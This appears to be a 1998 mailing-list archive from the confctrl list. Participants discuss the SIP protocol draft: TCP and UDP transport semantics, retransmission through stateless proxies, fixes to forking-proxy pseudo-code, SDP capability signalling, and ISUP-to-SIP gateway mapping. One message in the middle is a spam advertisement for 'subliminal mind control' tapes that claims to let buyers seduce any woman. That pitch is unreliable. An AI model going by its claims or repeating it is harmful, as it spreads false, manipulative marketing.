	(1.37.109.16/15.6+ISC) id AA030595842; Wed, 14 Oct 1998 15:37:22 +0100
Message-Id: <3624B7F8.EBDC49CD@hplb.hpl.hp.com>
Date: Wed, 14 Oct 1998 15:40:56 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: Hewlett-Packard Laboratories, Bristol
X-Mailer: Mozilla 4.5b2 [en] (WinNT; I)
X-Accept-Language: en
Mime-Version: 1.0
To: confctrl@ISI.EDU
Cc: Jonathan Rosenberg <jdrosen@bell-labs.com>
Subject: SIP: more comments
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

More issues on the sip-09 spec.

  -- Anders


10.3 TCP
   "If a client closes a connection or the connection is reset (e.g.,
   because the client has crashed and rebooted), the server treats this
   as equivalent to having received a CANCEL request  for all pending
   transactions."

This directly contradicts what you said two paragraphs earlier:

  "The client MAY close the connection at any time..."

I think you have to allow the client to close the connection.


10.4.1 UDP
   "The server responds immediately upon receipt of the
   CANCEL request rather than not waiting until it has received final
   responses from the CANCEL requests it generates."

Loose the "not".


10.5.2 TCP

   "A client using TCP MUST NOT retransmit requests, but uses the same
   algorithm as for UDP (Section 10.5.1) to retransmit responses until
   it receives an ACK. (An implementation can simply set T1 and T3 to
   infinity and otherwise maintain the same state diagram.)"

This means there is a problem with a UAC using TCP to connect to a
stateless proxy which itself uses UDP as requests won't get
retransmitted.

        "It is necessary to retransmit 2xx responses as their
        reliability is assured end-to-end only. If the chain of
        proxies has a UDP link in the middle, it could lose the
        response, with no possibility of recovery. For simplicity,
        we also retransmit non-2xx responses, although that is not
        strictly necessary."

But this is true whenever you have a stateless proxy on the chain. If
there is a stateless proxy on the chain receiving message using TCP
and forwarding them using UDP *any* message can be lost. This can
happen with simple UAs which uses only TCP.

Ways to deal with this:
  1. always use retransmissions, even with TCP
  2. Do away with TCP as a transport altogether
  3. allow a UAC to require a stateless proxy on a chain to fail a
     request
  4. require that stateless proxies not use UDP on outgoing
     connections when the message came in on a TCP connection.

1 and 2 are just for keeping an open mind ;-). I think 4 is a
reasonably reasonable solution (so to speak). It qualifies the
transport selection scheme described in section 1.4.2.


12.4 Forking Proxy

There are a couple of "oddities" in the code. I realize of course that
this is pseudo-code and non-normative at that, but it's probably still
worth sanitizing it. While having the code is not strictly speaking
necessary, I think it's definitely desirable in terms of making the
text more understandable.

Anyway, the bugs are as follows.

       struct {
         address_t address;  /* address */
         int branch;         /* branch id */
         int done;           /* has responded */
       } outgoing[];

The 'address' field is not used anywhere.

         /* CANCEL: respond, fork and wait for responses */
         else if (class < 0) {
           best.status = 200;
           response(best);
           for (i = 0; i < N; i++) {
             request(CANCEL, address[i], outgoing[i].branch);
           }
           best.status = -1;
         }

You should only CANCEL requests for which a final response hasn't yet
been received, ie should test on 'outgoing[i].done' inside loop.

         if (class == 2) {
           if (r.status < best) best = r;
           break;
         }

should say 'if (r.status < best.status) ...'.


-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Wed Oct 14 08:22:36 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA27451
	for confctrl-outgoing; Wed, 14 Oct 1998 08:22:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA27446
	for <confctrl@zephyr.isi.edu>; Wed, 14 Oct 1998 08:22:35 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA12992
	for <confctrl@ISI.EDU>; Wed, 14 Oct 1998 08:22:33 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA16583;
	Wed, 14 Oct 1998 11:22:29 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id LAA05012;
	Wed, 14 Oct 1998 11:22:28 -0400 (EDT)
Message-ID: <3624C1B4.90CEA948@cs.columbia.edu>
Date: Wed, 14 Oct 1998 11:22:28 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5b1 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>, confctrl@ISI.EDU,
        Vern Paxson <vern@ee.lbl.gov>
Subject: Re: SIP: comments on the spec
References: <360C1A22.C45572E4@hplb.hpl.hp.com> <361CC6DB.267C7E29@dnrc.bell-labs.com> <362499D4.FCC65E@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> Hi Jonathan and everyone else,
> 
> >
> > Anders,
> >

> 
> As it stands the text suggests that first the connection is established
> and then SIP messages are exchanged, not that the connection is defined
> by the messages exchanged, so yeah, I think some re-phrasing is called
> for.

Folks are invited to take a look at the "-10" draft-draft (on the SIP
web page, curently in PDF and PS only) that incorporates these comments
and then let us know whether this is satisfactory.


> 
> A server needs to be able to figure out which string of characters make
> up the 'user' field, but it doesn't need to be aware of whatever
> structure is imposed on this field by, say, a telephony gateway server.
> As far as I can tell the only entities that routes SIP requests based on
> the 'user' field are telephony gateways. They will need to know the
> syntax and semantics of this field of course, but that's a different
> matter.  So what I'm musing about here is that a non-telephony gateway
> SIP entity just needs to be able to decide what part of a SIP URI makes
> up the contents of the 'user' field, and that this is satisfied without
> fig. 4, and hence it shouldn't be there.

It seems useful to ensure interoperability between clients and ITGs and
harmless otherwise, so I'm not quite sure why you are so strongly
opposed to this. After all, ITGs will be an important class of SIP
servers.


> > I don't think you can indicate both with SDP, and only the receive
> > capabilities are important for the session. However, other session
> > description formats may be able to express send capabilities. SIP does
> > not restrict this in any way. Text will be added to clarify this.
> >
> 
> That's not what appendix B (Usage of SDP) says:
> 
>    "It is assumed that if caller or callee include a particular media
>    type, they want to both send and receive media data. If the callee
>    does not want to send a particular media type, it marks the media
>    entry as recvonly. If the callee does not want to receive a
> particular media type, it may mark it as
>    sendonly. If the callee wants to neither receive nor send a
>    particular media type,
>    it sets the port to zero. (RTCP ports are not needed in this case.)

The SDP experts can chime in here....

Whether SDP is capable of providing sender capabilities is immaterial to
SIP, particularly since that may well depend on the version of SDP and
whatever optional attributes you supply. Since this debate is out of
scope with regards to SIP, we've removed all references to SDP
indicating receiver (vs. sender and receiver) capability.
 
> This means that the comment in section 4.2.2 (Ack) saying:
> 
>    The ACK request MAY contain a message body with the final session
>    description to be used by the callee. If the ACK message body is
>    empty, the callee uses the session description in the INVITE request.
> 
> doesn't make much sense to me. Basically the UAC says what it's able to
> receive in the INVITE req and the callee gets a chance to complain about
> that in its response (606 Not Acceptable) at the same time at which it
> says what *it* is willing to receive. The caller can then complain about
> that (by sending a BYE req) but why would it change its mind at this
> point about what it is capable of receiving?

This is indeed not particularly likely, but possible, namely if the set
of capabilities that it has is not simultaneous. I've recently heard
about a device that can't hold code for all its codecs in its memory and
downloads codecs across the LAN as needed. Once it knows what the other
side can receive, it may well have to restrict its codecs to below what
it was offering initially. Example: say, a device can receive/send G.723
and G.729, but not both at the same time. In the INVITE, it would
obviously advertise both codecs. Depending on the response from the
other side (which would presumably indicate one or both of these
codecs), it would then choose one of them and announce this in the ACK.


> > Its not mandatory, I don't think, to even use the fqdn. As long as its
> > unique, that is sufficient.
> 
> Right, but in the interest of making the examples as straight-forward
> and realistic as possible maybe they should use the local host name.

They now do.

From confctrl-owner  Wed Oct 14 09:25:39 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA00489
	for confctrl-outgoing; Wed, 14 Oct 1998 09:25:39 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA00484
	for <confctrl@zephyr.isi.edu>; Wed, 14 Oct 1998 09:25:38 -0700 (PDT)
Received: from hplb.hpl.hp.com (hplb.hpl.hp.com [192.6.10.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA18523
	for <confctrl@isi.edu>; Wed, 14 Oct 1998 09:25:36 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by hplb.hpl.hp.com (8.8.6 (PHNE_14041)/8.8.6 HPLabs Bristol Relay) with ESMTP id RAA12809
	for <confctrl@isi.edu>; Wed, 14 Oct 1998 17:25:34 +0100 (BST)
Received: from hplb.hpl.hp.com (kristensen-a-3.hpl.hp.com) by otter.hpl.hp.com with ESMTP
	(1.37.109.16/15.6+ISC) id AA027002332; Wed, 14 Oct 1998 17:25:32 +0100
Message-Id: <3624D152.B6355F35@hplb.hpl.hp.com>
Date: Wed, 14 Oct 1998 17:29:06 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: Hewlett-Packard Laboratories, Bristol
X-Mailer: Mozilla 4.5b2 [en] (WinNT; I)
X-Accept-Language: en
Mime-Version: 1.0
To: confctrl@ISI.EDU
Subject: Message Bus vs libraries
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>From <draft-ietf-mmusic-mbus-transport-00.txt>:

   In the Mbone community a model has arisen whereby a set of loosely
   coupled tools are used to participate in a conference.  A typical
   scenario is that audio, video and shared workspace functionality is
   provided by three separate tools (although some combined tools
   exist).

This may traditionally have been true for the Mbone but it isn't the
case for any popular, mainstream platform that I know of. Arguably the
two most important platforms today are Windows and Java, both of which
adopt a completely different approach to enabling independently
developed components to work together.

Basically the approach taken by these architectures is to hide the
implementation of a particular "media engine" behind an SPI (Service
Provider Interface), and have the application program to some generic
(provider-independent) API. The provider is typically packaged as a
library, eg a dll or a jar file in the case of Java. Another example of
this sort of approach is the DOM defined by the W3C. I think JMF, the
Java Media Framework, addresses much the same set of problems as the
MBus proposal, and it seems to me to be the way you'd want to compose
applications on that particular platform at least.

The idea of defining a platform on top of the OS which is much more than
basic OS services never seemed to catch on for Unix so maybe something
like the MBus is more natural for Unix than it is for PCs, say. But I
don't think it's very likely that the message bus school of thought will
ever become popular on these other platforms. Maybe it would be an idea
for the MMUSIC WG to get involved in the standardization of MM APIs,
although this would probably be stepping on teh toes of the likes of
Micro- and JavaSoft.

Just a thought.

Anders
-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Wed Oct 14 10:38:27 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA03684
	for confctrl-outgoing; Wed, 14 Oct 1998 10:38:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA03679
	for <confctrl@zephyr.isi.edu>; Wed, 14 Oct 1998 10:38:25 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA27007
	for <confctrl@ISI.EDU>; Wed, 14 Oct 1998 10:38:11 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA28064;
	Wed, 14 Oct 1998 13:37:49 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA11159;
	Wed, 14 Oct 1998 13:37:42 -0400 (EDT)
Message-ID: <3624E165.736BA346@cs.columbia.edu>
Date: Wed, 14 Oct 1998 13:37:41 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5b1 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Anders Kristensen <ak@hplb.hpl.hp.com>
CC: confctrl@ISI.EDU, Jonathan Rosenberg <jdrosen@bell-labs.com>
Subject: Re: SIP: more comments
References: <3624B7F8.EBDC49CD@hplb.hpl.hp.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders Kristensen wrote:
> 
> More issues on the sip-09 spec.
> 
>   -- Anders
> 
> 10.3 TCP
>    "If a client closes a connection or the connection is reset (e.g.,
>    because the client has crashed and rebooted), the server treats this
>    as equivalent to having received a CANCEL request  for all pending
>    transactions."
> 
> This directly contradicts what you said two paragraphs earlier:
> 
>   "The client MAY close the connection at any time..."
> 
> I think you have to allow the client to close the connection.

The client can close the connection, but one could argue that it
shouldn't do that unless it has received the final response or is no
longer interested in the transaction (i.e., implicitly CANCELs the
transaction). Any reason why a client would close the TCP connection
earlier?

Note that, strictly speaking, the two sentences don't contradict each
other, since the client MAY indeed close at any time, but then suffer
the well-defined consequences (i.e., canceled call).

> 
> 10.5.2 TCP
> 
>    "A client using TCP MUST NOT retransmit requests, but uses the same
>    algorithm as for UDP (Section 10.5.1) to retransmit responses until
>    it receives an ACK. (An implementation can simply set T1 and T3 to
>    infinity and otherwise maintain the same state diagram.)"
> 
> This means there is a problem with a UAC using TCP to connect to a
> stateless proxy which itself uses UDP as requests won't get
> retransmitted.
> 
>         "It is necessary to retransmit 2xx responses as their
>         reliability is assured end-to-end only. If the chain of
>         proxies has a UDP link in the middle, it could lose the
>         response, with no possibility of recovery. For simplicity,
>         we also retransmit non-2xx responses, although that is not
>         strictly necessary."
> 
> But this is true whenever you have a stateless proxy on the chain. If
> there is a stateless proxy on the chain receiving message using TCP
> and forwarding them using UDP *any* message can be lost. This can
> happen with simple UAs which uses only TCP.
> 
> Ways to deal with this:
>   1. always use retransmissions, even with TCP
>   2. Do away with TCP as a transport altogether
>   3. allow a UAC to require a stateless proxy on a chain to fail a
>      request
>   4. require that stateless proxies not use UDP on outgoing
>      connections when the message came in on a TCP connection.
> 
> 1 and 2 are just for keeping an open mind ;-). I think 4 is a
> reasonably reasonable solution (so to speak). It qualifies the
> transport selection scheme described in section 1.4.2.

One could argue that stateless proxies with TCP are kind of odd beasts,
since if you want any efficiency, a proxy is not just going to drop the
incoming TCP connection and then reopen it when the response comes back
its way.

Thus, solution 4 seems a reasonable restriction on stateless proxy
behavior.


> 
> 12.4 Forking Proxy

Fixed.

From confctrl-owner  Wed Oct 14 12:26:11 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA08292
	for confctrl-outgoing; Wed, 14 Oct 1998 12:26:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA08286
	for <confctrl@zephyr.isi.edu>; Wed, 14 Oct 1998 12:26:09 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id MAA08348
	for <confctrl@ISI.EDU>; Wed, 14 Oct 1998 12:26:07 -0700 (PDT)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id PAA16955; Wed, 14 Oct 1998 15:24:53 -0400 (EDT)
Received: from sinnreich2 ([166.35.227.240]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981014192452.NZRH9853@sinnreich2>;
          Wed, 14 Oct 1998 14:24:52 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Anders Kristensen" <ak@hplb.hpl.hp.com>, <confctrl@ISI.EDU>
Subject: RE: Message Bus vs libraries
Date: Wed, 14 Oct 1998 14:24:55 -0500
Message-ID: <000601bdf7a8$52dca440$f0e323a6@sinnreich2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
Importance: Normal
In-Reply-To: <3624D152.B6355F35@hplb.hpl.hp.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anders wrote:

>Maybe it would be an idea
> for the MMUSIC WG to get involved in the standardization of MM APIs,
> although this would probably be stepping on teh toes of the likes of
> Micro- and JavaSoft.

1. Agree: "Standardizing" on an OS controlled by a company is not a good
option on the Internet.
2. The network requires protocols to make it work: Addressing, security,
delay, packet loss, etc.
     It's not a backplane or LAN.

Henry

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Anders Kristensen
> Sent: Wednesday, October 14, 1998 11:29 AM
> To: confctrl@ISI.EDU
> Subject: Message Bus vs libraries
>
>
> From <draft-ietf-mmusic-mbus-transport-00.txt>:
>
>    In the Mbone community a model has arisen whereby a set of loosely
>    coupled tools are used to participate in a conference.  A typical
>    scenario is that audio, video and shared workspace functionality is
>    provided by three separate tools (although some combined tools
>    exist).
>
> This may traditionally have been true for the Mbone but it isn't the
> case for any popular, mainstream platform that I know of. Arguably the
> two most important platforms today are Windows and Java, both of which
> adopt a completely different approach to enabling independently
> developed components to work together.
>
> Basically the approach taken by these architectures is to hide the
> implementation of a particular "media engine" behind an SPI (Service
> Provider Interface), and have the application program to some generic
> (provider-independent) API. The provider is typically packaged as a
> library, eg a dll or a jar file in the case of Java. Another example of
> this sort of approach is the DOM defined by the W3C. I think JMF, the
> Java Media Framework, addresses much the same set of problems as the
> MBus proposal, and it seems to me to be the way you'd want to compose
> applications on that particular platform at least.
>
> The idea of defining a platform on top of the OS which is much more than
> basic OS services never seemed to catch on for Unix so maybe something
> like the MBus is more natural for Unix than it is for PCs, say. But I
> don't think it's very likely that the message bus school of thought will
> ever become popular on these other platforms. Maybe it would be an idea
> for the MMUSIC WG to get involved in the standardization of MM APIs,
> although this would probably be stepping on teh toes of the likes of
> Micro- and JavaSoft.
>
> Just a thought.
>
> Anders
> --
> Anders Kristensen <ak@hplb.hpl.hp.com>,
> http://www-uk.hpl.hp.com/people/ak/
> Hewlett-Packard Labs, Bristol, UK
>


From confctrl-owner  Fri Oct 16 05:39:18 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA09518
	for confctrl-outgoing; Fri, 16 Oct 1998 05:39:18 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA09510
	for <confctrl@zephyr.isi.edu>; Fri, 16 Oct 1998 05:39:16 -0700 (PDT)
Received: from gae341p.com.fr (166.jacksonville-01.fl.dial-access.att.net [12.70.32.166])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA11620;
	Fri, 16 Oct 1998 05:38:44 -0700 (PDT)
DATE: Fri, 16 Oct 1998 08:38:00 -0500
Message-ID: <mkgtwfyeemjmtyde>
Subject: Everday
From: vuknwnpb@jklhg90678.net.vb
To: zdfgasdfgwetr34542356@ISI.EDU
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


SUBLIMINALLY ENTICE ANY WOMAN TO BE YOURS!
              GUARANTEED.

We know you may be skeptical, but if you're not totally 
satisfied with your sex life and who you're dating you owe 
it to yourself to visit our web site (your choice of 
ENGLISH or ESPANOL) at http://208.166.10.22/ and learn 
how the power of subliminal mind control can change your 
life. It is simply a fact that sexual impulses can be 
awakened and greatly intensified by using subliminal 
commands. We guarantee it!

But, most subliminal enticement tapes don't work. Confused? 
Take 1 minute, go to  http://208.166.10.22/ and read the 
section entitled "THE NUMBER 1 REASON OUR TAPES WORK 
AND THEIRS DON'T!" to find out why.  If nothing else, 
you'll get a good laugh at how downright silly some other 
tapes are.

  EVERYTHING (AND WE MEAN EVERYTHING!) TO GAIN 
              AND NOTHING TO LOSE!

We're so sure that OUR tapes work that every one comes with 
a 100% MONEY BACK GUARANTEE!

Now that you know about the hottest tapes on the Internet, you 
have no excuse not to be successful with any woman you choose. 
If you don't get the facts, you are cheating yourself out of 
HAPPINESS, ROMANCE, GREAT SEX and the TIME OF YOUR LIFE!

Click here http://208.166.10.22/

Millennium Creations, LLC
520 Washington Blvd., Suite 287
Marina Del Rey, Ca. 90292
310-281-6737

To be remove from future mailings, reply to:  
remove@inside2000.com with REMOVE in the subject.
Please understand that our system has filters and any files
larger than 2K, foul language, multiple emails, graphics, 
and/or attachments within the email or it's headers will
automatically delete your email without removal from our 
database.  Only the email address in the from: will be deleted, 
if you have more than one address, please email us using the
email from any account.  Make sure the email address is the 
SAME ADDRESS we used to send the message or it will NOT be
deleted from our database.  You MUST reply with REMOVE in the 
subject line, in order to be removed.  The contents of the
message are NEVER read.  Thank you.



From confctrl-owner  Wed Oct 21 14:35:29 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA11799
	for confctrl-outgoing; Wed, 21 Oct 1998 14:35:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA11790
	for <confctrl@zephyr.isi.edu>; Wed, 21 Oct 1998 14:35:27 -0700 (PDT)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA05225
	for <confctrl@ISI.EDU>; Wed, 21 Oct 1998 14:35:25 -0700 (PDT)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA29595; Wed, 21 Oct 1998 16:34:53 -0500 (CDT)
Received: from dwillispc2 ([166.35.227.233]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981021213452.HEPB20084@dwillispc2>;
          Wed, 21 Oct 1998 16:34:52 -0500
From: "Dean Willis" <Dean.Willis@MCI.COM>
To: "Conference Control List" <confctrl@ISI.EDU>
Cc: "Matthew Cannon" <Matt.Cannon@MCI.COM>,
        "Steven R. Donovan" <Steven.R.Donovan@MCI.COM>
Subject: SIP-SS7 Mapping and SIP-in-the-middle
Date: Wed, 21 Oct 1998 16:30:39 -0500
Message-ID: <001b01bdfd3a$0cbbb2c0$e9e323a6@dwillispc2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


A couple of the folks here were covering  whiteboards with scribbles
last week and ran into something that I think bears discussion in this
forum. For lack of a better term, we called it the "SIP-in-the-middle"
problem.

This situation occurs when a call originating on PSTN is signaled via
ISUP to a SIP gateway, carried on IP, signaled back to ISUP at another
gateway, then terminated back to PSTN. The problem is that many ISUP
parameters not required by SIP will be needed to correctly handle the
call at the destination. This of course is compounded by the many
varieties of ISUP in general use . . .

Two proposals were made in our whiteboard session:

1) Carry the delivered ISUP data as a binary attachment on the SIP and
make the gateways responsible for dealing with it.

2) Map the ISUP (of which there are many varieties) to some sort of
meta-language which provides the basis for ISUP translations, and carry
this meta-language as an attachment.

The first proposal keeps the SIP simple, but could make the gateways
very complex as they may be held responsible for interpreting "alien"
ISUPs, iff SIP is used between divergent ISUP terminations. This is the
translation problems that wakes carrier engineers up at night every time
a potential merger is announced . . .

The second proposal may require significant development work, but
provides much simpler gateways as only a single translation need be
understood by each gateway.

Both proposals keep SIP clean as they both carry "ISUP" as an
attachment.  The only difference is that the second proposal involves
translating from a local variant of ISUP to a "meta" ISUP at the ingress
gateway and translating back to a local variant at the egress gateway.

Discussion?  I know that SS7-to-SIP mappings are in pre-draft
discussion. Is anyone aware of a generalized representation for
divergent ISUPs that might be used as a reference? Maybe somebody has
some even better ideas?

--
Dean Willis

Dean.Willis@MCI.COM
MCI Data Architecture LOC 1916/041
IP Telephony Architecture and Standards
voice  972-729-4162 or v 772-4162
page   888-266-1761
fax    972-729-3034


From confctrl-owner  Wed Oct 21 19:30:51 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA25699
	for confctrl-outgoing; Wed, 21 Oct 1998 19:30:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA25694
	for <confctrl@zephyr.isi.edu>; Wed, 21 Oct 1998 19:30:50 -0700 (PDT)
Received: from ndcrelay.mcit.com (ndcrelay.mcit.com [166.37.172.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA01362
	for <confctrl@ISI.EDU>; Wed, 21 Oct 1998 19:30:49 -0700 (PDT)
Received: from omta1.mcit.com (omta1.mcit.com [166.37.204.2])
          by ndcrelay.mcit.com (8.8.7/) with ESMTP
	  id WAA20450; Wed, 21 Oct 1998 22:30:18 -0400 (EDT)
Received: from sinnreich2 ([166.44.130.195]) by omta1.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19981022023017.IIPW20084@sinnreich2>;
          Wed, 21 Oct 1998 21:30:17 -0500
From: "Henry Sinnreich" <henry.sinnreich@mci.com>
To: "Dean Willis" <Dean.Willis@mci.com>,
        "Conference Control List" <confctrl@ISI.EDU>
Cc: "Matthew Cannon" <Matt.Cannon@mci.com>,
        "Steven R. Donovan" <Steven.R.Donovan@mci.com>
Subject: RE: SIP-SS7 Mapping and SIP-in-the-middle
Date: Wed, 21 Oct 1998 21:30:21 -0500
Message-ID: <001501bdfd63$ea940240$c3822ca6@sinnreich2.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2377.0
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0
In-Reply-To: <001b01bdfd3a$0cbbb2c0$e9e323a6@dwillispc2.mcit.com>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a generic problem for transport of telephony signaling, no matter if
SIP or tunneling or something else.

Henry

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Dean Willis
> Sent: Wednesday, October 21, 1998 4:31 PM
> To: Conference Control List
> Cc: Matthew Cannon; Steven R. Donovan
> Subject: SIP-SS7 Mapping and SIP-in-the-middle
>
>
>
> A couple of the folks here were covering  whiteboards with scribbles
> last week and ran into something that I think bears discussion in this
> forum. For lack of a better term, we called it the "SIP-in-the-middle"
> problem.
>
> This situation occurs when a call originating on PSTN is signaled via
> ISUP to a SIP gateway, carried on IP, signaled back to ISUP at another
> gateway, then terminated back to PSTN. The problem is that many ISUP
> parameters not required by SIP will be needed to correctly handle the
> call at the destination. This of course is compounded by the many
> varieties of ISUP in general use . . .
>
> Two proposals were made in our whiteboard session:
>
> 1) Carry the delivered ISUP data as a binary attachment on the SIP and
> make the gateways responsible for dealing with it.
>
> 2) Map the ISUP (of which there are many varieties) to some sort of
> meta-language which provides the basis for ISUP translations, and carry
> this meta-language as an attachment.
>
> The first proposal keeps the SIP simple, but could make the gateways
> very complex as they may be held responsible for interpreting "alien"
> ISUPs, iff SIP is used between divergent ISUP terminations. This is the
> translation problems that wakes carrier engineers up at night every time
> a potential merger is announced . . .
>
> The second proposal may require significant development work, but
> provides much simpler gateways as only a single translation need be
> understood by each gateway.
>
> Both proposals keep SIP clean as they both carry "ISUP" as an
> attachment.  The only difference is that the second proposal involves
> translating from a local variant of ISUP to a "meta" ISUP at the ingress
> gateway and translating back to a local variant at the egress gateway.
>
> Discussion?  I know that SS7-to-SIP mappings are in pre-draft
> discussion. Is anyone aware of a generalized representation for
> divergent ISUPs that might be used as a reference? Maybe somebody has
> some even better ideas?
>
> --
> Dean Willis
>
> Dean.Willis@MCI.COM
> MCI Data Architecture LOC 1916/041
> IP Telephony Architecture and Standards
> voice  972-729-4162 or v 772-4162
> page   888-266-1761
> fax    972-729-3034
>


From confctrl-owner  Thu Oct 22 05:56:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA14998
	for confctrl-outgoing; Thu, 22 Oct 1998 05:56:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA14993
	for <confctrl@zephyr.isi.edu>; Thu, 22 Oct 1998 05:56:43 -0700 (PDT)
